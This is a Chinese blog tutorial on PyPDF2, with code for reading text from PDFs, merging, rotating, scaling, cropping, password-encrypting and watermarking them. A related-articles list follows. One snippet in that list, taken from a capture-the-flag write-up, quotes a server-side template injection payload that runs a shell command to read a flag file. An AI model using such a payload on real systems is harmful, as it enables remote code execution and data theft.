python+PyPDF2实现PDF的文本内容读取、多文件合并、旋转、裁剪、缩放、加解密、添加水印

ops/2024/12/25 12:00:21/

目录

读取内容

合并文件

旋转 

缩放

裁剪

加密和解密

添加水印


安装:pip install PyPDF2 -i https://pypi.tuna.tsinghua.edu.cn/simple

读取内容

python">from PyPDF2 import PdfReader, PdfMerger, PdfWriterdef read_pdf(pdf_path):pdf_reader = PdfReader(pdf_path)# print(len(pdf_reader.pages))  # 获取页数# one_page = pdf_reader.pages[0]  # 获取第一页对象for page in pdf_reader.pages:print(page.extract_text())  # 读取内容

合并文件

python">def merger_pdf(pdf_path: str, pdf_names: list):pdf_mg = PdfMerger()  # 创建合并对象for pdf_name in pdf_names:pdf_mg.append(rf'{pdf_path}\{pdf_name}')# position(或page_number,position与page_number使用效果一样,不能同时使用)将目标pdf中的目标页内容合并到指定页,fileobj 要被合并的pdf文件,pages(n,m) 要合并文件的第{n+1}页到第{m}页pdf_mg.merge(page_number=1, fileobj=rf'{pdf_path}\9.pdf', pages=(3, 6))pdf_mg.write(rf'{pdf_path}\合并后的pdf.pdf')pdf_mg.close()

旋转 

python">def rotate_pdf(pdf_path: str, pdf_names: list):reader = PdfReader(rf'{pdf_path}\{pdf_names[1]}')writer = PdfWriter()# 将读取的页对象旋转90,旋转参数必须是90的倍数(顺时针旋转)page = reader.pages[0].rotate(90)writer.add_page(page)# 将写入的内容旋转-90度(逆时针旋转)writer.add_page(reader.pages[0])writer.pages[1].rotate(-90)writer.append(rf'{pdf_path}\{pdf_names[2]}')  # 追加其他pdf到文件中writer.append(rf'{pdf_path}\{pdf_names[-1]}', pages=(2, 7))  # pages参数可指定要追加的页对象(实例为第3页到第6页)with open(rf'{pdf_path}\旋转测试.pdf', 'wb') as f:writer.write(f)writer.close()

缩放

python">def scale_pdf(pdf_path: str, pdf_names: list):writer = PdfWriter()writer.append(rf'{pdf_path}\{pdf_names[-1]}', pages=(2, 7))  # pages参数可指定要追加的页对象(实例为第3页到第6页)page_last = writer.pages[-1]print(page_last.mediabox.width)  # 打印页面尺寸print(page_last.mediabox.height)  # 打印页面尺寸# page_last.scale_to(200,255)  # 修改宽高为指定的大小# page_last.scale(2,2)  # 按照原来页面大小成倍缩放,可分别指定要缩放的宽高比例倍数page_last.scale_by(3)  # 成倍缩放,不能指定宽高with open(rf'{pdf_path}\缩放测试.pdf', 'wb') as f:writer.write(f)writer.close()

裁剪

python">def tailor_pdf(pdf_path: str, pdf_names: list):writer = PdfWriter()writer.append(rf'{pdf_path}\{pdf_names[-1]}', pages=(2, 7))  # pages参数可指定要追加的页对象(实例为第3页到第6页)page_last = writer.pages[-1]# 裁剪(单位为磅)# 1磅 = 1 / 72英寸# 1英寸 = 25.4毫米page_two = writer.pages[1]page_two.mediabox.upper_left = (0, 0)page_two.mediabox.upper_right = (page_last.mediabox.width / 2, 0)page_two.mediabox.lower_left = (0, page_last.mediabox.height / 2)page_two.mediabox.lower_right = (page_last.mediabox.width / 2, page_last.mediabox.height / 2)with open(rf'{pdf_path}\裁剪测试.pdf', 'wb') as f:writer.write(f)writer.close()

加密和解密

python">def crypt_pdf(pdf_path: str, pdf_names: list):writer = PdfWriter()writer.append(rf'{pdf_path}\{pdf_names[-1]}', pages=(2, 7))  # pages参数可指定要追加的页对象(实例为第3页到第6页)writer.encrypt('adc123')  # 加密with open(rf'{pdf_path}\加密文件.pdf', 'wb') as f:writer.write(f)writer.close()encrypt_file = PdfReader(rf'{pdf_path}\加密文件.pdf')if encrypt_file.is_encrypted:  # 判断是否加密encrypt_file.decrypt('adc123')  # 解密for page in encrypt_file.pages:print(page.extract_text())  # 读取内容

添加水印

merge_page的功能用来合并页面,可找一个只有水印的空白页,作为合并对象

python">def watermark_pdf(pdf_path: str, pdf_names: list):writer = PdfWriter()reader = PdfReader(rf'{pdf_path}\9.pdf')watermark_page = PdfReader(rf'{pdf_path}\{pdf_names[2]}').pages[0]  # 获取一个水印页面对象for p in reader.pages:  # 循环将水印页面增加到每一页p.merge_page(watermark_page)writer.add_page(p)with open(rf'{pdf_path}\水印测试.pdf', 'wb') as f:writer.write(f)writer.close()

其他方法

python">    writer.remove_text()  # 清空文本writer.remove_images()  # 清空图片writer.remove_links()  # 清空链接writer.add_blank_page(100,500)  # 新增空白页,可指定空白页的宽高

http://www.ppmy.cn/ops/144845.html

相关文章

HW | AMD GPU查看型号rocm-smi --showallinfo

. 背景 在使用GPU进行AI模型训练或推理部署的时候,我们通常需要确认当前系统中的硬件信息,如GPU型号、GPU数量、GPU可用显存等等。 在NVIDIA GPU上,指令nvidia-smi默认打印以上所有的常用信息。对应来说,AMD GPU中常用指令rocm…

2024楚慧杯WP

web 速算比赛 Sal的图集 ssti {{config.__class__.__init__.__globals__.get("os").popen(tac /flag).read()}} popmart index.php源码 <?php173 $pat "/^(((1?\d{1,2})|(2[0-4]\d)|(25[0-5]))\.){3}((1?\d{1,2})|(2[0-4]\d)|(25[0-5]))/";17…

【前端】入门指南:Vue中使用Node.js进行数据库CRUD操作的详细步骤

&#x1f4a5; 欢迎来到我的博客&#xff01;很高兴能在这里与您相遇&#xff01; 首页&#xff1a;GPT-千鑫 – 热爱AI、热爱Python的天选打工人&#xff0c;活到老学到老&#xff01;&#xff01;&#xff01;导航 - 人工智能系列&#xff1a;包含 OpenAI API Key教程, 50个…

ASP.NET Core Web API 控制器

文章目录 一、基类&#xff1a;ControllerBase二、API 控制器类属性三、使用 Get() 方法提供天气预报结果 在深入探讨如何编写自己的 PizzaController 类之前&#xff0c;让我们先看一下 WeatherController 示例中的代码&#xff0c;了解它的工作原理。 在本单元中&#xff0c…

数字逻辑(五)——用二进制来表示音频和视频

目录 1. 用二级制来表示音频 1.1 采样 1.2 量化 1.3 编码 2. 用二进制来表示视频 2.1 使用二进制来存储文件 2.2 使用二进制来采集视频 2.3 计算机如何播放视频 1. 用二级制来表示音频 声音是由物体的振动来表示的&#xff0c;振动是一种连续的波形&#xff0c;因此…

VS Code Copilot 与 Cursor 对比

选手简介 VS Code Copilot&#xff1a;算是“老牌”编程助手了&#xff0c;虽然Copilot在别的编辑器上也有扩展&#xff0c;不过体验最好的还是VS Code&#xff0c;毕竟都是微软家的所以功能集成更好一些&#xff1b;主要提供的是Complete和Chat能力&#xff0c;也就是代码补全…

AngularJS 入门01

AngularJS 扩展了 HTML AngularJS 通过 ng-directives 扩展了 HTML。 ng-app 指令定义一个 AngularJS 应用程序。 ng-model 指令把元素值&#xff08;比如输入域的值&#xff09;绑定到应用程序。 ng-bind 指令把应用程序数据绑定到 HTML 视图。 <!DOCTYPE html> &l…

Ubuntu重命名默认账户

Ubuntu重命名默认账户 用户管理常用命令 添加用户 useradd test设置密码 sudo passwd test删除用户 sudo userdel test开始进入步骤 一定&#xff01;一定&#xff01;一定&#xff01;一定要切到root 一定&#xff01;一定&#xff01;一定&#xff01;一定要切到root …